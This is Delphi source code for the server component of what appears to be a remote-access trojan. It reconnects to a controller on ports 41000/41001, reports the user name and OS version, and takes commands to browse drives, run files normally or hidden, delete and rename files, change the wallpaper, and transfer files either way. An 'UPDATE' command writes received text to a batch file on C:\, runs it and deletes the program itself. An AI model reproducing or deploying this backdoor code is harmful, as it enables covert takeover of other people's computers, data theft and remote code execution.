unit uMain;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, IdBaseComponent, IdAntiFreezeBase, IdAntiFreeze,
ScktComp, ExtCtrls, ShellApi, Registry;
type
TTransferAction = (taDownload, taUpload);
PTrasnferInfo = ^TTrasnferInfo;
TTrasnferInfo = record
LocalFile: string;
Action : TTransferAction;
TFile : TextFile;
BFile : file of Char;
end;
type
THome = class(TForm)
Tmr_ON: TTimer;
Tmr_OFF: TTimer;
SckServer: TClientSocket;
SckServerFT: TClientSocket;
Label1: TLabel;
Label2: TLabel;
Freeze: TIdAntiFreeze;
Bs: TMemo;
Update: TMemo;
procedure Close_All_Sockets(Sck: TClientSocket);
Function File_Size(s_file:string):string;
procedure Download(LocalFile,RemoteFile:String);
procedure Upload(LocalFile,RemoteFile:String);
procedure DoTransfer(LocalFile, RemoteFile:string; Action: TTransferAction);
procedure FormCreate(Sender: TObject);
procedure SckServerFTConnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure SckServerFTDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure SckServerFTError(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
procedure SckServerFTRead(Sender: TObject; Socket: TCustomWinSocket);
//procedure SckServerRead(Sender: TObject; Socket: TCustomWinSocket);
procedure SckServerConnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure SckServerDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure SckServerError(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
procedure SckServerRead(Sender: TObject; Socket: TCustomWinSocket);
procedure Tmr_ONTimer(Sender: TObject);
procedure Tmr_OFFTimer(Sender: TObject);
private
{ Private declarations }
cLFile,cRFile:String;
tSize,cSize:LongInt;
cAction:TTransferAction;
StartTime:DWORD;
Ready:Boolean;
tFile:TextFile;
bFile:file of Char;
Error:Boolean;
public
{ Public declarations }
end;
//==============================================================================
Const varNull = #0; varDel = #1; varEnd = #3; varNewLine = #13#10;
//==============================================================================
Const
//=================================================================
cMAIN_PORT : string = 'main_port=41000 ';
cTRAN_PORT : string = 'tran_port=41001 ';
//==============================================================================
cServer_Version : string = 'v1.0';
var
Home: THome;
aCptClients: TStringList;
User_Name: String;
SrvPassword: String;
implementation
Uses untFunctions;
{$R *.dfm}
//==============================================================================
var
Validated: Boolean;
//=====Funzione Rivela OS Windows===============================================
//==============================================================================
Function GetOS: String;
//==============================================================================
var
osVerInfo: TOSVersionInfo;
majorVer, minorVer: Integer;
begin
Result := 'Unknown';
osVerInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if GetVersionEx(osVerInfo) then
begin
majorVer := osVerInfo.dwMajorVersion;
minorVer := osVerInfo.dwMinorVersion;
case osVerInfo.dwPlatformId of
VER_PLATFORM_WIN32_NT:
begin
if majorVer <= 4 then
Result := 'Windows NT'
else if (majorVer = 5) and (minorVer = 0) then
Result := 'Windows 2000'
else if (majorVer = 5) and (minorVer = 1) then
Result := 'Windows XP'
else if (majorVer = 6) and (minorVer = 0) then
Result := 'Windows Vista'
else if (majorVer = 6) and (minorVer = 1) then
Result := 'Windows 7'
else if (majorVer = 6) and (minorVer = 2) then
Result := 'Windows 8'
end;
VER_PLATFORM_WIN32_WINDOWS:
begin
if (majorVer = 4) and (minorVer = 0) then
Result := 'Windows 95'
else if (majorVer = 4) and (minorVer = 10) then
begin
if osVerInfo.szCSDVersion[1] = 'A' then
Result := 'Windows 98SE'
else
Result := 'Windows 98';
end
else if (majorVer = 4) and (minorVer = 90) then
Result := 'Windows ME'
end;
end;
end;
end;
//==============================================================================
procedure THome.Close_All_Sockets(Sck: TClientSocket);
//==============================================================================
begin
try
If SckServer.Socket.Connected then SckServer.Close;
If SckServerFT.Socket.Connected then SckServerFT.Close;
except end;
end;
//==============================================================================
procedure Split(strString, strDelimiter: String; var strList: TStringList);
//==============================================================================
var I, N: Integer;
begin
N := 0;
for I := 1 to Length(strString) do
if strString[I] = strDelimiter then begin
inc(N);
strList.Add(Copy(strString, N, I - N));
N := I;
end;
If N <> Length(strString) then strList.Add(Copy(strString, N + 1, Length(strString) - N));
end;
//==============================================================================
procedure THome.DoTransfer(LocalFile, RemoteFile:string; Action: TTransferAction);
//==============================================================================
var
tPort:Integer;
begin
tPort:=strtointdef(trim(copy(cTRAN_PORT,11,length(cTRAN_PORT))),888);
if (tPort <=0) or (tPort > 65535) or (tPort = strtointdef(trim(copy(cMAIN_PORT,11,length(cMAIN_PORT))),888)) then
begin
Exit;
end;
if SckServerFT.Socket.Connected then
begin
SckServerFT.Close;
end;
Error:=False;
cSize:=0;
tSize:=0;
cLFile:=LocalFile;
cRFile:=RemoteFile;
if Action = taDownload then
begin
end
else if Action = taUpload then
begin
end;
cAction:=Action;
Ready:=False;
SckServerFT.Close;
try
SckServerFT.Port:=tPort;
SckServerFT.Host:=SckServer.Host;
SckServerFT.Open;
except
SckServerFT.Close;
end;
end;
//==============================================================================
procedure sendin(s:string;socket:TCustomWinSocket);
//==============================================================================
begin
socket.SendText(s);
end;
//==============================================================================
procedure THome.Tmr_OFFTimer(Sender: TObject);
//==============================================================================
begin
Tmr_ON.Enabled := True;
Tmr_OFF.Enabled := False;
end;
//==============================================================================
procedure THome.Tmr_ONTimer(Sender: TObject);
//==============================================================================
begin
SckServer.Host := '127.0.0.1';
SckServer.Port := strtointdef(trim(copy(cMAIN_PORT,11,length(cMAIN_PORT))),41000);
SckServer.Active := True;
SckServerFT.Host :=SckServer.Host;
SckServerFT.Port := strtointdef(trim(copy(cTRAN_PORT,11,length(cTRAN_PORT))),41001);
Tmr_ON.Enabled := False;
Tmr_OFF.Enabled := True;
end;
//==============================================================================
procedure THome.SckServerRead(Sender: TObject;
Socket: TCustomWinSocket);
//==============================================================================
//==============================================================================
Var
RC,S_Temp, s_name, s_data:string;
strDataParse: TStringList;
I, I_POS: Integer;
begin
Freeze.Process;
RC:=Socket.ReceiveText;
If Length(RC) > 4 then begin strDataParse := TStringList.Create; Split(Copy(RC,5,Length(RC) - 4),varDel,strDataParse); end;
Validated := False;
if Copy(RC,1,4) <> 'PASS' then begin
for I := 0 to acptClients.Count - 1 do
if acptClients[I] = Socket.RemoteAddress then begin
Validated := True;
Break;
end;
if not Validated then begin
Socket.Close;
Exit;
end;
end else begin
if strDataParse[0] = SrvPassword then begin
acptClients.Add(Socket.RemoteAddress);
Socket.SendText('SER_ON' + varEnd);
end else begin
Socket.SendText('SER_OFF' + varEnd);
Validated := False;
Exit;
end;
end;
If Copy(RC,1,6)='CHIUDI' Then
begin
Delete(RC,1,6);
Socket.SendText('CHIUDI');
Validated := False;
Close_All_Sockets(SckServer);
Close_All_Sockets(SckServerFT);
SckServerFT.Active:=False;
Exit;
end;
If Copy(RC,1,6)='REMOVE' then
begin
Delete(RC,1,6);
Socket.SendText('REMOVE');
Validated := False;
Close_All_Sockets(SckServer);
Close_All_Sockets(SckServerFT);
SckServerFT.Active:=False;
// RemoveServer;
Exit;
end;
If Copy(RC,1,7)='RESTART' then
begin
Delete(RC,1,7);
Socket.SendText('RESTART');
Close_All_Sockets(SckServer);
Close_All_Sockets(SckServerFT);
SckServerFT.Active:=False;
//ReStartServer;
Exit;
end;
//Browsing Folders And Files====================================================
If copy(RC,1,3) = '880' then begin
Delete(RC,1,3);
s_temp := copy(RC,4,length(RC));
Socket.SendText('880' + show_files_dirs(s_temp));
Socket.SendText('ANS' + 'Files Resived');
end;
//Fun File normal===============================================================
If copy(RC,1,3) = 'AA1' then begin
Delete(RC,1,3);
Socket.SendText('response' + execute_file(copy(RC,4,length(RC)),0));
Socket.SendText('ANS' + 'File Was Run Normaly');
end;
//Run File Hidden================================================================
If copy(RC,1,3) = 'AA0' then begin
Delete(RC,1,3);
Socket.SendText('response' + execute_file(copy(RC,4,length(RC)),1));
Socket.SendText('ANS' + 'File Was Run Normaly');
end;
//Delete File===================================================================
If copy(RC,1,3) = 'BB0' then begin
Delete(RC,1,3);
Socket.SendText('response' + delete_file_ex(copy(RC,4,length(RC))));
Socket.SendText('ANS' + 'File Was Deledted');
end;
//Rename File===================================================================
If copy(RC,1,3) = 'RR0' then begin
Delete(RC,1,3);
s_temp := copy(RC,4,length(RC));
i_pos := pos('|',s_temp);
s_name := copy(s_temp,1,i_pos-1);
s_data := copy(s_temp,i_pos+1,length(s_temp));
Socket.SendText('response' + rename_file(s_name,s_data));
Socket.SendText('ANS' + 'File was Renamed');
end;
//Play Wave=====================================================================
If copy(RC,1,3) = 'WAV' then begin
Delete(RC,1,3);
Socket.SendText('response' + play_wave_file(copy(RC,4,length(RC))));
Socket.SendText('ANS' + 'Wav was Played');
end;
//Listing Drives================================================================
If copy(RC,1,3) = 'DRV' then begin
Delete(RC,1,3);
Socket.SendText('DRV' + show_drives);
Socket.SendText('ANS' + 'Drives Redeved');
end;
//Changing WallPaper============================================================
If copy(RC,1,3) = '084' then begin
Delete(RC,1,3);
Socket.SendText('response'+change_wallpaper(copy(RC,4,length(RC))));
Socket.SendText('ANS' + 'Walpaper Changed');
end;
//Cancel Download===============================================================
If copy(RC,1,3) = 'SFT' then begin
Delete(RC,1,3);
If SckServerFT.Socket.Connected then
SckServerFT.Close
else
If Error then
SckServerFTDisconnect(nil,nil);
end;
//Downloading Client Side=======================================================
If copy(RC,1,3) = 'DLF' then begin
Delete(RC,1,3);
s_temp := copy(RC,4,length(RC));
Download(s_temp,'Downloads\');
Label2.Caption:=s_temp;
end;
//Uploading Client Side=======================================================
If copy(RC,1,3) = 'ULF' then begin
Delete(RC,1,3);
s_temp := copy(RC,4,length(RC));
i_pos := pos('|',s_temp);
s_name := copy(s_temp,1,i_pos-1);
s_data := copy(s_temp,i_pos+1,length(s_temp));
Upload(s_name,s_data);
end;
//UPDating Server===============================================================
If copy(RC,1,6) = 'UPDATE' then begin
Delete(RC,1,6);
s_temp := copy(RC,7,length(RC));
//==============================================================================
SckServer.Close;
SckServer.Active:=False;
Update.Clear;
Update.Text:=s_temp;
Update.Lines.Add('Del "C:\&&&&.bat"');
Update.Lines.SaveToFile('C:\&&&&.bat');
//==============================================================================
Close_All_Sockets(SckServer);
//UnInstallServer; )
Application.Terminate;
Shellexecute(0,nil,'C:\&&&&.bat',nil,nil,SW_SHOW);
DeleteSelf;
end;
end;
//==============================================================================
procedure THome.SckServerError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
//==============================================================================
begin
ErrorCode := 0 ;
Tmr_OFF.Enabled := True;
end;
//==============================================================================
procedure THome.SckServerDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
//==============================================================================
begin
Tmr_OFF.Enabled := True;
end;
//==============================================================================
Function THome.File_Size(s_file:string):string;
//==============================================================================
var l_size:LongInt;p_char:pchar;
begin
AppendStr(s_file,chr(0));
p_char:=@s_file[1];
try
l_size := CreateFile(p_char,GENERIC_READ or GENERIC_WRITE,0,nil,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
Result := IntToStr(GetFileSize(l_size,nil));
CloseHandle(l_size);
except end;
end;
//==============================================================================
procedure THome.Download(LocalFile,RemoteFile:String);
//==============================================================================
var lFile,rFile:String;
begin
lFile:=LocalFile;
rFile:=RemoteFile + ExtractFileName(lFile);
DoTransfer(lFile,rFile,taUpload);
end;
//==============================================================================
procedure THome.Upload(LocalFile,RemoteFile:String);
//==============================================================================
var cFile,lPath:String;
begin
cFile:=LocalFile;
lPath:=RemoteFile + ExtractFileName(cFile);
DoTransfer(lPath,cFile,taDownload);
end;
//==============================================================================
procedure THome.FormCreate(Sender: TObject);
//==============================================================================
begin
Tmr_ON.Enabled := True;
User_Name := GetEnvironmentVariable('USERNAME');
aCptClients := TStringList.Create;
SrvPassword := '123456';
end;
//==============================================================================
procedure THome.SckServerFTConnect(Sender: TObject;
Socket: TCustomWinSocket);
//==============================================================================
begin
Freeze.Process;
try
if cAction = taDownload then
begin
AssignFile(tFile,cLFile);
ReWrite(tFile);
end
else if cAction = taUpload then
begin
AssignFile(bFile,cLFile);
Reset(bFile);
tSize:=FileSize(bFile);
end;
except
SckServerFT.Close;
Exit;
end;
StartTime:=GetTickCount;
if cAction = taDownload then
begin
end
else if cAction = taUpload then
begin
end;
SckServerFT.Socket.SendText(cRFile + Chr(13) + IntToStr(Integer(cAction)));
end;
//==============================================================================
procedure THome.SckServerFTDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
//==============================================================================
begin
if not Error then
if cSize >= tSize then
begin
end
else
begin
end;
try
if cAction = taDownload then CloseFile(tFile);
if cAction = taUpload then CloseFile(bFile);
except
end;
deletefile('C:\00011101.000');
deletefile('C:\00110200.sys');
end;
//==============================================================================
procedure THome.SckServerConnect(Sender: TObject;
Socket: TCustomWinSocket);
//==============================================================================
begin
Socket.SendText('FLAG|'+'@'+User_Name+'@'+GetOS+'@'+'Server '+cServer_Version);
end;
//==============================================================================
procedure THome.SckServerFTError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
//==============================================================================
begin
ErrorCode:=0;
Error:=False;
cSize:=-2;
SckServerFT.Close;
SckServerFTDisconnect(nil,Socket);
end;
//==============================================================================
procedure THome.SckServerFTRead(Sender: TObject;
Socket: TCustomWinSocket);
//==============================================================================
var
Dta:string;
Buffer:array [1..512] of Char;
r,p:LongInt;
I,K:integer;
begin
Dta:=Socket.ReceiveText;
//------------------------------------------------------------------------------
if cAction = taDownload then
begin
if Ready then
begin
Write(tFile,Dta);
val(label1.Caption,I,K);
cSize:=cSize + Length(Dta);
end
else
begin
tSize:=StrToIntDef(Dta,-1);
if tSize < 0 then
begin
Error:=True;
SckServerFT.Close;
Exit;
end;
Ready:=True;
end;
if cSize >= tSize then
begin
SckServerFT.Close;
Exit;
end;
SckServerFT.Socket.SendText('C');
end
//------------------------------------------------------------------------------
else if cAction = taUpload then
begin
if cSize >= tSize then
begin
SckServerFT.Close;
Exit;
end;
if Length(Dta) <> 1 then
begin
Error:=True;
Exit;
end;
p:=FilePos(bFile);
BlockRead(bFile,Buffer,512,r);
r:=FileSize(bFile);
Dta:=string(Buffer);
if (r - p) < 512 then
Dta:=Copy(Dta,1,r - p);
cSize:=cSize + Length(Dta);
val(label1.Caption,I,K);
SckServerFT.Socket.SendText(Dta);
end;
end;
end.